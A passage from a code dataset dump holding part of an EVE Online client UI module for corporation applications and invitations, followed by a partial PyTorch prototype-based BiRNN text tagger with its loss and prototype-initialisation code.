localization.GetByLabel('UI/Corporations/FriendlyFire/FriendlyFireStatus', ffStatus=statusText)\n ffCont = uiprimitives.Container(parent=applicationCont, align=uiconst.TOBOTTOM, height=16)\n friendlyFireLabel = uicontrols.EveLabelSmall(parent=ffCont, text=ffText, align=uiconst.TOLEFT)\n helpIcon = MoreInfoIcon(parent=ffCont, align=uiconst.TORIGHT, hint=localization.GetByLabel('UI/Corporations/FriendlyFire/Description'))\n if self.corporation and not self.corporation.isRecruiting:\n notRecruitingText = localization.GetByLabel('UI/Corporations/BaseCorporationUI/RecruitmentMayBeClosed')\n notRecruiting = uicontrols.EveLabelSmall(parent=applicationCont, text=notRecruitingText, align=uiconst.TOBOTTOM, idx=0)\n self.SetMinSize((self.default_width, self.default_height + notRecruiting.textheight), refresh=True)\n self.applicationText = uicls.EditPlainText(setvalue='', parent=applicationCont, align=uiconst.TOALL, maxLength=1000)\n\n def Confirm(self, *args):\n applicationText = self.applicationText.GetValue()\n if len(applicationText) > const.crpApplicationMaxSize:\n error = localization.GetByLabel('UI/Corporations/BaseCorporationUI/ApplicationTextTooLong', length=len(applicationText))\n eve.Message('CustomInfo', {'info': error})\n else:\n self.result = applicationText\n self.SetModalResult(1)\n\n def Cancel(self, *args):\n self.result = None\n self.SetModalResult(0)\n return\n\n\ndef get_display_text_for_application(application):\n if application.status == const.crpApplicationRejectedByCorporation:\n display_text = application.responseText or ''\n else:\n display_text = application.applicationText\n return display_text.strip()\n\n\nclass CorpApplicationEntry(SE_BaseClassCore):\n __guid__ = 'listentry.CorpApplicationEntry'\n __notifyevents__ = []\n LOGOPADDING = 70\n TEXTPADDING = 18\n CORPNAMEPAD = (LOGOPADDING, 0, 0, 0)\n EXTENDEDPAD = (\n LOGOPADDING, const.defaultPadding, const.defaultPadding, const.defaultPadding)\n CORPNAMECLASS = uicontrols.EveLabelLarge\n EXTENDEDCLASS = uicontrols.EveLabelMedium\n APPHEADERHEIGHT = 53\n\n def PreLoad(node):\n application = node.application\n\n def Startup(self, *args):\n node = self.sr.node\n self.corpSvc = sm.GetService('corp')\n self.lscSvc = sm.GetService('LSC')\n self.viewButton = None\n self.removeButton = None\n self.rejectButton = None\n self.acceptButton = None\n self.ownerID = None\n if node.myView:\n self.ownerID = node.application.corporationID\n else:\n self.ownerID = node.application.characterID\n self.entryContainer = uiprimitives.Container(parent=self)\n self.headerContainer = uiprimitives.Container(parent=self.entryContainer, align=uiconst.TOTOP, name='applicationHeaderContainer', height=self.APPHEADERHEIGHT)\n self.expander = uiprimitives.Sprite(parent=self.headerContainer, state=uiconst.UI_DISABLED, name='expander', pos=(0,\n 0,\n 16,\n 16), texturePath='res:/UI/Texture/Shared/getMenuIcon.png', align=uiconst.CENTERLEFT)\n if node.isExpanded:\n self.expander.rotation = -pi * 0.5\n logoParent = uiprimitives.Container(parent=self.headerContainer, align=uiconst.TOPLEFT, pos=(16,\n 2,\n 48,\n 48))\n uiutil.GetOwnerLogo(logoParent, self.ownerID, size=48, noServerCall=True)\n logoParent.children[0].OnMouseEnter = self.OnMouseEnter\n logoParent.children[0].OnClick = self.ShowOwnerInfo\n self.nameLabel = self.CORPNAMECLASS(parent=self.headerContainer, name='nameLabel', state=uiconst.UI_DISABLED, align=uiconst.CENTERLEFT, padding=self.CORPNAMEPAD)\n self.expandedParent = uiprimitives.Container(parent=self.entryContainer, name='expandedParent', height=0)\n label_text = get_display_text_for_application(node.application)\n self.expandedLabel = self.EXTENDEDCLASS(parent=self.expandedParent, name='applicationText', text=label_text, padding=self.EXTENDEDPAD, align=uiconst.TOALL)\n self.hilite = uiprimitives.Fill(bgParent=self.headerContainer, color=(1, 1,\n 1,\n 0))\n uiprimitives.Fill(bgParent=self.expandedParent, color=(0, 0, 0, 0.2))\n return\n\n def Load(self, node):\n ownerName = cfg.eveowners.Get(self.ownerID).ownerName\n applicationDate = localization.GetByLabel('UI/Corporations/Applications/ApplicationDate', applicationDateTime=node.application.applicationDateTime)\n statusText = '%s' % _GetApplicationStatusLabel(node.application.status)\n nameStatusAndDate = '%s - %s
    %s' % (ownerName, statusText, applicationDate)\n self.nameLabel.text = nameStatusAndDate\n addPadding = const.defaultPadding\n if node.myView:\n if node.application.status not in const.crpApplicationEndStatuses:\n if self.removeButton is not None and not self.removeButton.destroyed:\n self.removeButton.left = addPadding\n else:\n if node.application.status == const.crpApplicationInvitedByCorporation:\n label = localization.GetByLabel('UI/Corporations/CorpApplications/DeclineInvitation')\n rejectFunc = self.RejectCorpInvitation\n else:\n label = (localization.GetByLabel('UI/Corporations/CorpApplications/WithdrawApplication'),)\n rejectFunc = self.WithdrawMyApplication\n self.removeButton = uicontrols.Button(name='removeButton', parent=self.headerContainer, label=label, align=uiconst.CENTERRIGHT, left=addPadding, func=rejectFunc)\n addPadding += self.removeButton.width + const.defaultPadding\n elif self.removeButton is not None:\n self.removeButton.Close()\n self.removeButton = None\n if node.myView and node.application.status in (\n const.crpApplicationAcceptedByCorporation, const.crpApplicationInvitedByCorporation):\n if self.acceptButton is not None and not self.acceptButton.destroyed:\n self.acceptButton.left = addPadding\n else:\n self.acceptButton = uicontrols.Button(name='acceptButton', parent=self.headerContainer, label=localization.GetByLabel('UI/Corporations/CorpApplications/AcceptApplication'), align=uiconst.CENTERRIGHT, left=addPadding, func=self.AcceptInvitation)\n elif self.acceptButton is not None:\n self.acceptButton.Close()\n self.acceptButton = None\n else:\n if node.application.status == const.crpApplicationAppliedByCharacter:\n if self.acceptButton is not None and not self.acceptButton.destroyed:\n self.acceptButton.left = addPadding\n else:\n self.acceptButton = uicontrols.Button(name='acceptButton', parent=self.headerContainer, label=localization.GetByLabel('UI/Corporations/CorpApplications/ApplicationInviteApplicant'), align=uiconst.CENTERRIGHT, left=addPadding, func=self.AcceptCorpApplication)\n addPadding += self.acceptButton.width + const.defaultPadding\n elif self.acceptButton is not None:\n self.acceptButton.Close()\n self.acceptButton = None\n if node.application.status not in const.crpApplicationEndStatuses:\n if self.rejectButton is not None and not self.rejectButton.destroyed:\n self.rejectButton.left = addPadding\n else:\n self.rejectButton = uicontrols.Button(name='rejectButton', parent=self.headerContainer, label=localization.GetByLabel('UI/Corporations/CorpApplications/RejectApplication'), align=uiconst.CENTERRIGHT, left=addPadding, func=self.RejectCorpApplication)\n elif self.rejectButton is not None:\n self.rejectButton.Close()\n self.rejectButton = None\n if node.fadeSize is not None:\n toHeight, fromHeight = node.fadeSize\n self.expandedParent.opacity = 0.0\n uicore.animations.MorphScalar(self, 'height', startVal=fromHeight, endVal=toHeight, duration=0.3)\n uicore.animations.FadeIn(self.expandedParent, duration=0.3)\n node.fadeSize = None\n if node.isExpanded:\n self.expandedParent.display = True\n rotValue = -pi * 0.5\n else:\n rotValue = 0.0\n self.expandedParent.display = False\n uicore.animations.MorphScalar(self.expander, 'rotation', self.expander.rotation, rotValue, duration=0.15)\n self.expandedLabel.text = get_display_text_for_application(node.application)\n return\n\n def OnClick(self):\n node = self.sr.node\n reloadNodes = [node]\n if node.isExpanded:\n uicore.animations.Tr2DRotateTo(self.expander, -pi * 0.5, 0.0, duration=0.15)\n node.isExpanded = False\n allNodes = settings.char.ui.Get('corporation_applications_expanded', {})\n allNodes[node.myView] = None\n settings.char.ui.Set('corporation_applications_expanded', allNodes)\n else:\n for otherNode in node.scroll.sr.nodes:\n if otherNode.isExpanded and otherNode != node:\n otherNode.isExpanded = False\n reloadNodes.append(otherNode)\n\n uicore.animations.Tr2DRotateTo(self.expander, 0.0, -pi * 0.5, duration=0.15)\n node.isExpanded = True\n node.fadeSize = (\n CorpApplicationEntry.GetDynamicHeight(node, self.width), self.height)\n allNodes = settings.char.ui.Get('corporation_applications_expanded', {})\n allNodes[node.myView] = node.application.applicationID\n settings.char.ui.Set('corporation_applications_expanded', allNodes)\n self.sr.node.scroll.ReloadNodes(reloadNodes, updateHeight=True)\n return\n\n def GetMenu(self):\n node = self.sr.node\n menu = [(uiutil.MenuLabel('UI/Commands/ShowInfo'), self.ShowOwnerInfo)]\n if node.myView:\n if node.application.status not in const.crpApplicationEndStatuses:\n if node.application.status == const.crpApplicationInvitedByCorporation:\n label = uiutil.MenuLabel('UI/Corporations/CorpApplications/DeclineInvitation')\n else:\n label = uiutil.MenuLabel('UI/Corporations/CorpApplications/WithdrawApplication')\n menu.append((label, self.WithdrawMyApplication))\n if node.application.status in (const.crpApplicationAcceptedByCorporation,\n const.crpApplicationInvitedByCorporation):\n menu.append((uiutil.MenuLabel('UI/Corporations/CorpApplications/AcceptApplication'), self.AcceptInvitation))\n elif const.corpRolePersonnelManager & session.corprole == const.corpRolePersonnelManager:\n if node.application.status == const.crpApplicationAppliedByCharacter:\n menu.append((\n uiutil.MenuLabel('UI/Corporations/CorpApplications/ApplicationInviteApplicant'), self.AcceptCorpApplication))\n if node.application.status not in const.crpApplicationEndStatuses:\n menu.append((uiutil.MenuLabel('UI/Corporations/CorpApplications/RejectApplication'), self.RejectCorpApplication))\n return menu\n\n def GetDynamicHeight(node, width):\n text = get_display_text_for_application(node.application)\n entryClass = CorpApplicationEntry\n if node.isExpanded:\n lp, tp, rp, bp = entryClass.EXTENDEDPAD\n textWidth, textHeight = entryClass.EXTENDEDCLASS.MeasureTextSize(text, width=width - (lp + rp))\n textHeight = textHeight + entryClass.APPHEADERHEIGHT + tp + bp\n return textHeight\n else:\n return entryClass.APPHEADERHEIGHT\n\n def ShowOwnerInfo(self):\n owner = cfg.eveowners.Get(self.ownerID)\n sm.GetService('info').ShowInfo(owner.typeID, owner.ownerID)\n\n def OnMouseEnter(self, *args):\n uicore.animations.FadeIn(self.hilite, 0.05, duration=0.1)\n self.hiliteTimer = base.AutoTimer(1, self._CheckIfStillHilited)\n\n def _CheckIfStillHilited(self):\n if uiutil.IsUnder(uicore.uilib.mouseOver, self) or uicore.uilib.mouseOver is self:\n return\n else:\n uicore.animations.FadeOut(self.hilite, duration=0.3)\n self.hiliteTimer = None\n return\n\n def _UpdateCurrentApplicationWithStatus(self, newStatus):\n try:\n sm.GetService('corpui').ShowLoad()\n application = self.sr.node.application\n sm.GetService('corp').UpdateApplicationOffer(application.applicationID, application.characterID, application.corporationID, application.applicationText, newStatus)\n finally:\n sm.GetService('corpui').HideLoad()\n uicontrols.Window.CloseIfOpen(windowID='viewApplicationWindow')\n\n def AcceptInvitation(self, *args):\n self._UpdateCurrentApplicationWithStatus(const.crpApplicationAcceptedByCharacter)\n\n def WithdrawMyApplication(self, *args):\n self._UpdateCurrentApplicationWithStatus(const.crpApplicationWithdrawnByCharacter)\n\n def RejectCorpInvitation(self, *args):\n self._UpdateCurrentApplicationWithStatus(const.crpApplicationRejectedByCharacter)\n\n def AcceptCorpApplication(self, *args):\n self._UpdateCurrentApplicationWithStatus(const.crpApplicationAcceptedByCorporation)\n\n def RejectCorpApplication(self, *args):\n RejectCorpApplicationWnd.CloseIfOpen(windowID='rejectCorpApplication')\n application = self.sr.node.application\n RejectCorpApplicationWnd.Open(application=application)\n\n\ndef _GetApplicationStatusLabel(applicationStatusID):\n return localization.GetByLabel(APPLICATION_STATUS_LABELNAMES[applicationStatusID])\n\n\ndef _LoadApplicationFilterSetting(applicationStatusID, default):\n return settings.char.ui.Get(_GetSettingsKeyName(applicationStatusID), default)\n\n\ndef _SaveApplicationFilterSetting(applicationStatusID, value):\n settings.char.ui.Set(_GetSettingsKeyName(applicationStatusID), value)\n\n\ndef _GetSettingsKeyName(applicationStatusID):\n return STATUS_SETTING_NAME % applicationStatusID\n\n\nclass RejectCorpApplicationWnd(uicontrols.Window):\n __guid__ = 'form.RejectCorpApplicationWnd'\n default_width = 400\n default_height = 280\n default_minSize = (default_width, default_height)\n\n def ApplyAttributes(self, attributes):\n uicontrols.Window.ApplyAttributes(self, attributes)\n self.application = attributes.application\n self.windowID = 'rejectCorpApplication'\n self.DefineButtons(uiconst.OKCANCEL, okFunc=self.Reject, cancelFunc=self.Cancel, okLabel=localization.GetByLabel('UI/Corporations/CorpApplications/RejectApplication'))\n wndCaption = localization.GetByLabel('UI/Corporations/Applications/ApplicationRejection')\n self.SetCaption(wndCaption)\n self.SetTopparentHeight(0)\n self.MakeUnResizeable()\n topCont = Container(parent=self.sr.main, align=uiconst.TOTOP, height=58)\n textCont = Container(parent=self.sr.main, align=uiconst.TOALL, padding=8)\n charName = cfg.eveowners.Get(self.application.characterID).name\n corpName = cfg.eveowners.Get(self.application.corporationID).name\n logoParent = uiprimitives.Container(parent=topCont, align=uiconst.TOPLEFT, pos=(8,\n 6,\n 48,\n 48))\n uiutil.GetOwnerLogo(logoParent, self.application.characterID, size=48, noServerCall=True)\n characterLink = localization.GetByLabel('UI/Contracts/ContractsWindow/ShowInfoLink', showInfoName=charName, info=('showinfo', const.typeCharacterAmarr, self.application.characterID))\n nameLabel = EveLabelMedium(parent=topCont, left=64, top=12, text=characterLink, align=uiconst.TOTOP, state=uiconst.UI_NORMAL)\n applicationDate = localization.GetByLabel('UI/Corporations/Applications/ApplicationDate', applicationDateTime=self.application.applicationDateTime)\n dateLabel = EveLabelMedium(parent=topCont, left=64, top=2, text=applicationDate, align=uiconst.TOTOP, state=uiconst.UI_NORMAL)\n messageLabel = EveLabelMedium(parent=textCont, align=uiconst.TOTOP, text=localization.GetByLabel('UI/Corporations/CorpApplications/ApplicationRejectionText', charName=charName, corpName=corpName))\n regardsLabel = EveLabelMedium(parent=textCont, align=uiconst.TOBOTTOM, text=localization.GetByLabel('UI/Corporations/CorpApplications/ApplicationRejectionRegards', corpName=corpName), padTop=4)\n self.messageTextEdit = uicls.EditPlainText(parent=textCont, maxLength=1000, hintText=localization.GetByLabel('UI/Corporations/CorpApplications/CorpRejectionMessage'), top=4)\n\n def Reject(self, *args):\n try:\n sm.GetService('corpui').ShowLoad()\n customMessage = self.messageTextEdit.GetValue()\n sm.GetService('corp').UpdateApplicationOffer(self.application.applicationID, self.application.characterID, self.application.corporationID, self.application.applicationText, const.crpApplicationRejectedByCorporation, customMessage=customMessage)\n finally:\n sm.GetService('corpui').HideLoad()\n uicontrols.Window.CloseIfOpen(windowID='viewApplicationWindow')\n self.Close()\n\n def Cancel(self, *args):\n self.Close()\n\n\nclass InviteToCorpWnd(uicontrols.Window):\n __guid__ = 'form.InviteToCorpWnd'\n default_width = 320\n default_height = 300\n default_windowID = 'InviteToCorpWnd'\n default_iconNum = 'res:/ui/Texture/WindowIcons/corporation.png'\n\n def ApplyAttributes(self, attributes):\n uicontrols.Window.ApplyAttributes(self, attributes)\n self.searchStr = ''\n self.scope = 'all'\n self.SetMinSize([320, 300])\n self.SetWndIcon(self.iconNum)\n self.scroll = uicontrols.Scroll(parent=self.sr.main, padding=(const.defaultPadding, const.defaultPadding, const.defaultPadding, const.defaultPadding))\n self.scroll.Startup()\n self.scroll.multiSelect = 0\n self.standardBtns = uicontrols.ButtonGroup(btns=[\n [\n localization.GetByLabel('UI/Ship/ShipConfig/Invite'),\n self.InviteToCorp, (), 81], [localization.GetByLabel('UI/Common/Buttons/Cancel'), self.OnCancel, (), 81]])\n self.inviteButton = self.standardBtns.GetBtnByIdx(0)\n self.inviteButton.Disable()\n self.sr.main.children.insert(0, self.standardBtns)\n self.SetCaption(localization.GetByLabel('UI/Messages/SelectCharacterTitle'))\n self.label = uicontrols.EveLabelSmall(text=localization.GetByLabel('UI/Shared/TypeSearchString'), parent=self.sr.topParent, left=70, top=16, state=uiconst.UI_NORMAL)\n self.nameInput = uicontrols.SinglelineEdit(name='edit', parent=self.sr.topParent, pos=(70, self.label.top + self.label.height + 2, 86, 0), align=uiconst.TOPLEFT, maxLength=32)\n self.nameInput.OnReturn = self.Search\n btn = uicontrols.Button(parent=self.sr.topParent, label=localization.GetByLabel('UI/Wallet/WalletWindow/WalletSearch'), pos=(self.nameInput.left + self.nameInput.width + 2, self.nameInput.top, 0, 0), func=self.Search, btn_default=1)\n self.SetHint(localization.GetByLabel('UI/Common/TypeInSearch'))\n\n def Search(self, *args):\n scrolllist = []\n self.inviteButton.Disable()\n self.ShowLoad()\n try:\n self.searchStr = self.GetSearchStr()\n self.SetHint()\n if len(self.searchStr) < 1:\n self.SetHint(localization.GetByLabel('UI/Shared/PleaseTypeSomething'))\n return\n result = sm.RemoteSvc('lookupSvc').LookupEvePlayerCharacters(self.searchStr, 0)\n if result is None or not len(result):\n self.SetHint(localization.GetByLabel('EVE/UI/Wallet/WalletWindow/SearchNoResults'))\n return\n cfg.eveowners.Prime([ each.characterID for each in result ])\n for each in result:\n owner = cfg.eveowners.Get(each.characterID)\n scrolllist.append(listentry.Get('Item', {'label': owner.name,'typeID': owner.typeID,'itemID': each.characterID,'OnClick': self.EnableInviteButton,'OnDblClick': self.InviteToCorp}))\n\n finally:\n self.scroll.Load(fixedEntryHeight=18, contentList=scrolllist, noContentHint=localization.GetByLabel('UI/Wallet/WalletWindow/SearchNoResults'))\n self.HideLoad()\n\n return\n\n def EnableInviteButton(self, *args):\n if self.GetSelected:\n self.inviteButton.Enable()\n\n def GetSearchStr(self):\n return self.nameInput.GetValue().strip()\n\n def SetHint(self, hintstr=None):\n if self.scroll:\n self.scroll.ShowHint(hintstr)\n\n def InviteToCorp(self, *args):\n sel = self.GetSelected()\n if sel:\n charID = sel[0].itemID\n sm.StartService('corp').InviteToJoinCorp(charID)\n self.CloseByUser()\n\n def GetSelected(self):\n sel = self.scroll.GetSelected()\n return sel\n\n def OnCancel(self, *args):\n self.CloseByUser()","sub_path":"client/eve/client/script/ui/shared/neocom/corporation/corp_ui_applications.py","file_name":"corp_ui_applications.py","file_ext":"py","file_size_in_byte":46185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"223260634","text":"\"\"\"Vanilla recurrent network model for sequences tagging.\"\"\"\nimport torch\nimport torch.nn as nn\nfrom src.models.tagger_base import TaggerBase\nfrom src.layers.layer_word_embeddings import LayerWordEmbeddings\nfrom src.layers.layer_bilstm import LayerBiLSTM\nfrom src.layers.layer_proto import LayerProto\nfrom src.layers.layer_pooler import LayerPooler\nfrom src.classes.utils import *\nimport numpy as np\nimport math\nimport time\nfrom sklearn.cluster import KMeans\nfrom anchor.anchor.utils import perturb_sentence\n\n\nclass TaggerProtoBiRNN(TaggerBase):\n \"\"\"TaggerBiRNN is a Vanilla recurrent network model for sequences tagging.\"\"\"\n def __init__(self, word_seq_indexer, tag_seq_indexer, class_num, batch_size=1, rnn_hidden_dim=100,\n freeze_word_embeddings=False, dropout_ratio=0.5, rnn_type='GRU', gpu=-1,\n num_prototypes_per_class=6, proto_dim = None, pretrained_path = None, max_pool_protos = False,\n pooling_type = 'attention', similarity_epsilon = 1e-4, hadamard_importance = False,\n similarity_function_name = 'log_inv_distance'):\n super(TaggerProtoBiRNN, self).__init__(word_seq_indexer, tag_seq_indexer, gpu, batch_size)\n self.tag_seq_indexer = tag_seq_indexer\n self.class_num = class_num\n self.rnn_hidden_dim = rnn_hidden_dim\n self.freeze_embeddings = freeze_word_embeddings\n self.dropout_ratio = dropout_ratio\n self.rnn_type = rnn_type\n self.gpu = gpu \n self.dropout = torch.nn.Dropout(p=dropout_ratio)\n self.num_prototypes_per_class = num_prototypes_per_class\n self.num_prototypes = class_num * num_prototypes_per_class\n self.proto_dim = proto_dim\n self.max_pool = max_pool_protos\n self.hadamard_importance = hadamard_importance\n\n # parameters\n self.prototypes_shape = (self.num_prototypes, self.proto_dim, 1) # the last dimension is 1 since the prototype vectors are used as a conv1d filter weight\n self.prototypes = nn.Parameter(torch.rand(self.prototypes_shape))\n\n # layers\n self.word_embeddings_layer = LayerWordEmbeddings(word_seq_indexer, gpu, freeze_word_embeddings) \n\n self.birnn_layer = LayerBiLSTM(input_dim=self.word_embeddings_layer.output_dim,\n hidden_dim=rnn_hidden_dim,\n gpu=gpu)\n self.pooler = LayerPooler(input_dim = self.birnn_layer.output_dim, gpu=gpu, pooling_type = pooling_type)\n \n self.dim_red = nn.Sequential(\n nn.Linear(in_features=self.pooler.output_dim, out_features=proto_dim),\n nn.Sigmoid()\n ) \n \n self.proto_layer = LayerProto(input_dim=self.proto_dim, prototypes=self.prototypes, num_classes = class_num,\n num_prototypes_per_class = num_prototypes_per_class, gpu=gpu, max_pool = max_pool_protos, \n similarity_epsilon = similarity_epsilon, hadamard_importance = hadamard_importance,\n similarity_function_name = similarity_function_name)\n \n self.lin_layer = nn.Linear(in_features=self.proto_layer.output_dim, out_features=class_num, bias = False)\n \n self.log_softmax_layer = nn.LogSoftmax(dim=1)\n if gpu >= 0:\n self.cuda(device=self.gpu)\n self.nll_loss = nn.NLLLoss() \n\n # init weights and set grad reqs\n self._initialize_weights()\n self._set_grad_reqs()\n \n\n def forward(self, word_sequences):\n mask = self.get_mask_from_word_sequences(word_sequences)\n z_word_embed = self.word_embeddings_layer(word_sequences)\n z_word_embed_d = self.dropout(z_word_embed)\n rnn_output_h = self.birnn_layer(z_word_embed_d, mask) # shape: batch_size x max_seq_len x hidden_dim*2\n pooled_output_h = self.pooler(rnn_output_h, mask) # shape: batch_size x hidden_dim*2\n latent_h = self.dim_red(pooled_output_h) # shape: batch_size x proto_dim\n proto_output_h, distances = self.proto_layer(latent_h) # proto_output shape: batch_size x num_features\n z_out = self.lin_layer(proto_output_h) # shape: batch_size x class_num \n y = self.log_softmax_layer(z_out) # shape: batch_size x class_num\n return y\n\n def get_logprobs_and_distances(self, word_sequences):\n '''distances needed for the loss, but .forward used throughout this codebase. so this function appears in main.py'''\n mask = self.get_mask_from_word_sequences(word_sequences)\n z_word_embed = self.word_embeddings_layer(word_sequences)\n z_word_embed_d = self.dropout(z_word_embed)\n rnn_output_h = self.birnn_layer(z_word_embed_d, mask) # shape: batch_size x max_seq_len x hidden_dim*2\n pooled_output_h = self.pooler(rnn_output_h, mask) # shape: batch_size x hidden_dim*2\n latent_h = self.dim_red(pooled_output_h) # shape: batch_size x proto_dim\n proto_output_h, distances = self.proto_layer(latent_h) # proto_output shape: batch_size x num_features\n z_out = self.lin_layer(proto_output_h) # shape: batch_size x class_num \n y = self.log_softmax_layer(z_out) # shape: batch_size x class_num \n return y, distances\n\n def get_logits(self, word_sequences):\n mask = self.get_mask_from_word_sequences(word_sequences)\n z_word_embed = self.word_embeddings_layer(word_sequences)\n z_word_embed_d = self.dropout(z_word_embed)\n rnn_output_h = self.birnn_layer(z_word_embed_d, mask) # shape: batch_size x max_seq_len x hidden_dim*2\n pooled_output_h = self.pooler(rnn_output_h, mask) # shape: batch_size x hidden_dim*2\n latent_h = self.dim_red(pooled_output_h) # shape: batch_size x proto_dim\n proto_output_h, distances = self.proto_layer(latent_h) # proto_output shape: batch_size x num_features\n z_out = self.lin_layer(proto_output_h) # shape: batch_size x class_num \n return z_out\n\n def push_forward(self, word_sequences):\n '''used in push step'''\n mask = self.get_mask_from_word_sequences(word_sequences)\n z_word_embed = self.word_embeddings_layer(word_sequences)\n z_word_embed_d = self.dropout(z_word_embed)\n rnn_output_h = self.birnn_layer(z_word_embed_d, mask) # shape: batch_size x max_seq_len x hidden_dim*2\n pooled_output_h = self.pooler(rnn_output_h, mask) # shape: batch_size x hidden_dim*2\n latent_h = self.dim_red(pooled_output_h) # shape: batch_size x proto_dim\n proto_output_h, distances = self.proto_layer(latent_h) # proto_output shape: batch_size x num_features\n return latent_h, distances # latent shape: batch_size x proto_dim. distances shape: batch_size x num_prototypes\n\n def get_proto_output(self, word_sequences):\n '''used when gathering similarity scores, e.g. in self.explain_instance'''\n mask = self.get_mask_from_word_sequences(word_sequences)\n z_word_embed = self.word_embeddings_layer(word_sequences)\n z_word_embed_d = self.dropout(z_word_embed)\n rnn_output_h = self.birnn_layer(z_word_embed_d, mask) # shape: batch_size x max_seq_len x hidden_dim*2\n pooled_output_h = self.pooler(rnn_output_h, mask) # shape: batch_size x hidden_dim*2\n latent_h = self.dim_red(pooled_output_h) # shape: batch_size x proto_dim\n proto_output_h, distances = self.proto_layer(latent_h) # proto_output shape: batch_size x num_features\n return proto_output_h, distances\n\n def initialize_from_pretrained(self, pretrained_path):\n print(\"Initializing model weights from model at %s\" % pretrained_path)\n pretrained_model = torch.load(pretrained_path)\n state_dict = pretrained_model.state_dict()\n \n # delete classifier weights\n del state_dict['lin_layer.weight']\n del state_dict['lin_layer.bias']\n # delete dim reduction weights if they don't match pretrained model's dimensionality\n if state_dict['dim_red.0.weight'].shape != self.dim_red[0].weight.shape:\n print(\"Dimension reduction matrix from pretrained model does not match this model's in shape!\")\n del state_dict['dim_red.0.weight']\n del state_dict['dim_red.0.bias']\n \n self.load_state_dict(state_dict, strict = False)\n\n\n def get_lin_layer_l1(self):\n '''returns l1 penalty on off-prototype-class-connection weights in lin_layer'''\n if self.max_pool:\n identity = torch.eye(self.class_num).cuda()\n mask = 1 - identity\n masked_weight = self.lin_layer.weight * mask\n else:\n identity = torch.eye(self.class_num).cuda()\n repeated_identity = identity.unsqueeze(2).repeat(1,1,self.num_prototypes_per_class).\\\n view(self.class_num, -1)\n mask = 1 - repeated_identity\n masked_weight = self.lin_layer.weight * mask \n return masked_weight.norm(p=1) \n\n def get_sep_loss(self, distances, word_sequences, targets_tensor):\n ''' \n return the mean distance between each instance and its closest off-class prototype \n distances should be shape: batch_size x num_prototypes\n need to mask the on-class prototype distances\n\n don't penalize distances once they're at least 4\n '''\n\n # mask the on-class prototype distances (set to 1e9)\n batch_size = targets_tensor.shape[0]\n for i in range(batch_size):\n target = targets_tensor[i].item()\n onclass_prototype_idx = np.arange(target * self.num_prototypes_per_class, (target+1) * self.num_prototypes_per_class)\n mask = torch.ones(batch_size, self.num_prototypes)\n mask[i, onclass_prototype_idx] = 1e9\n mask = mask.cuda()\n distances = distances * mask\n\n closest_distances, _ = torch.min(distances, dim = 1)\n max_to_penalize = 4 * torch.ones_like(closest_distances)\n stacked_distances_and_caps = torch.stack((closest_distances,max_to_penalize),dim=0)\n capped_closest_distances, _ = torch.min(stacked_distances_and_caps,dim=0)\n neg_avg_closest_distance = -torch.mean(capped_closest_distances)\n return neg_avg_closest_distance\n \n\n def get_loss(self, args, word_sequences_train_batch, tag_sequences_train_batch):\n # defunct, loss now calculated in main.py\n outputs_tensor_train_batch_one_hot, distances = self.get_logprobs_and_distances(word_sequences_train_batch)\n targets_tensor_train_batch = self.tag_seq_indexer.items2tensor(tag_sequences_train_batch)\n cross_entropy = self.nll_loss(outputs_tensor_train_batch_one_hot, targets_tensor_train_batch)\n\n sep_loss = self.get_sep_loss(distances, word_sequences_train_batch, targets_tensor_train_batch)\n lin_layer_reg = self.get_lin_layer_l1()\n\n loss = cross_entropy + 1/10 * lin_layer_reg + 1/100 * sep_loss\n\n return loss\n\n\n def freeze_unfreeze_parameters(self, epoch, args):\n # linear layer\n set_to = (epoch >= args.unfreeze_lin_layer)\n self.lin_layer.weight.requires_grad = set_to # there is no lin_layer.bias\n\n if args.hadamard_importance:\n assert args.unfreeze_lin_layer > 999, \"Using hadamard weighting in proto_layer, should keep tagger.lin_layer frozen as an identity matrix (i.e. set to at least 999)\"\n \n # every other layer\n set_to = (epoch >= args.unfreeze_feature_extractor)\n self.word_embeddings_layer.requires_grad = set_to\n for m in self.birnn_layer.rnn.modules():\n if hasattr(m,'weight'):\n m.requires_grad = set_to\n if hasattr(m,'bias'):\n m.requires_grad = set_to\n for m in self.pooler.modules():\n if hasattr(m,'weight'):\n m.requires_grad = set_to\n if hasattr(m,'bias'):\n m.requires_grad = set_to \n for m in self.dim_red.modules():\n if hasattr(m,'weight'):\n m.requires_grad = set_to\n if hasattr(m,'bias'):\n m.requires_grad = set_to\n\n\n def _initialize_weights(self):\n \n def _initialize_random_projection(m):\n if type(m) == nn.Linear:\n torch.nn.init.normal_(m.weight, mean=0, std = 1 / (m.out_features ** 1/2) ) \n\n def _initialize_lin_layer(self): \n if self.max_pool:\n identity = torch.eye(self.class_num)\n self.lin_layer.weight.data.copy_(identity)\n else: \n identity = torch.eye(self.class_num)\n repeated_identity = identity.unsqueeze(2).repeat(1,1,self.num_prototypes_per_class).\\\n view(self.class_num, -1) \n self.lin_layer.weight.data.copy_(repeated_identity)\n\n _initialize_lin_layer(self) \n self.dim_red.apply(_initialize_random_projection) \n\n\n def _set_grad_reqs(self):\n self.word_embeddings_layer.requires_grad = False\n for m in self.modules(): \n if hasattr(m,'weight'):\n m.requires_grad = False\n if hasattr(m,'bias'):\n m.requires_grad = False\n self.prototypes.requires_grad = True\n\n\n def initialize_prototypes_empirical(self, word_sequences, tag_sequences, batch_size = 10):\n '''initialize prototypes for each class by k-means on that classes latent representations (class given by labels)'''\n print(\"Initializing prototypes empirically\")\n self.eval()\n class2vecs = dict()\n class_id_list = [i for i in range(0, self.class_num)] \n\n for i in class_id_list:\n class2vecs[i] = []\n \n # for each batch, get vecs and ids, add vecs to class2vecs based on ids\n batch_num = math.floor(len(word_sequences) / batch_size)\n if len(word_sequences) > 0 and len(word_sequences) < batch_size:\n batch_num = 1\n\n start_time = time.time()\n \n for n in range(batch_num):\n i = n*batch_size\n if n < batch_num - 1:\n j = (n + 1)*batch_size\n else:\n j = len(word_sequences)\n \n batch = word_sequences[i:j]\n targets = self.tag_seq_indexer.items2idx(tag_sequences[i:j])\n mask = self.get_mask_from_word_sequences(batch) \n latents, distances = self.push_forward(batch) # latents: batch_size x proto_dim\n for k in range(len(batch)): \n class_id = targets[k]\n latent_vec = latents[k, :].detach().cpu().numpy()\n class2vecs[class_id].append(latent_vec)\n\n print('gathering latent vecs took %.1f seconds' % (time.time() - start_time))\n\n # there are a variety of ways to move the data from kmeans.cluster_centers_ to self.prototypes, of course\n # but copying with splices directly to self.prototypes_[idx,:,:] was silently failing, so we preallocate and .copy_ all at once\n new_prototypes = torch.zeros(0, self.proto_dim, 1) \n for i in 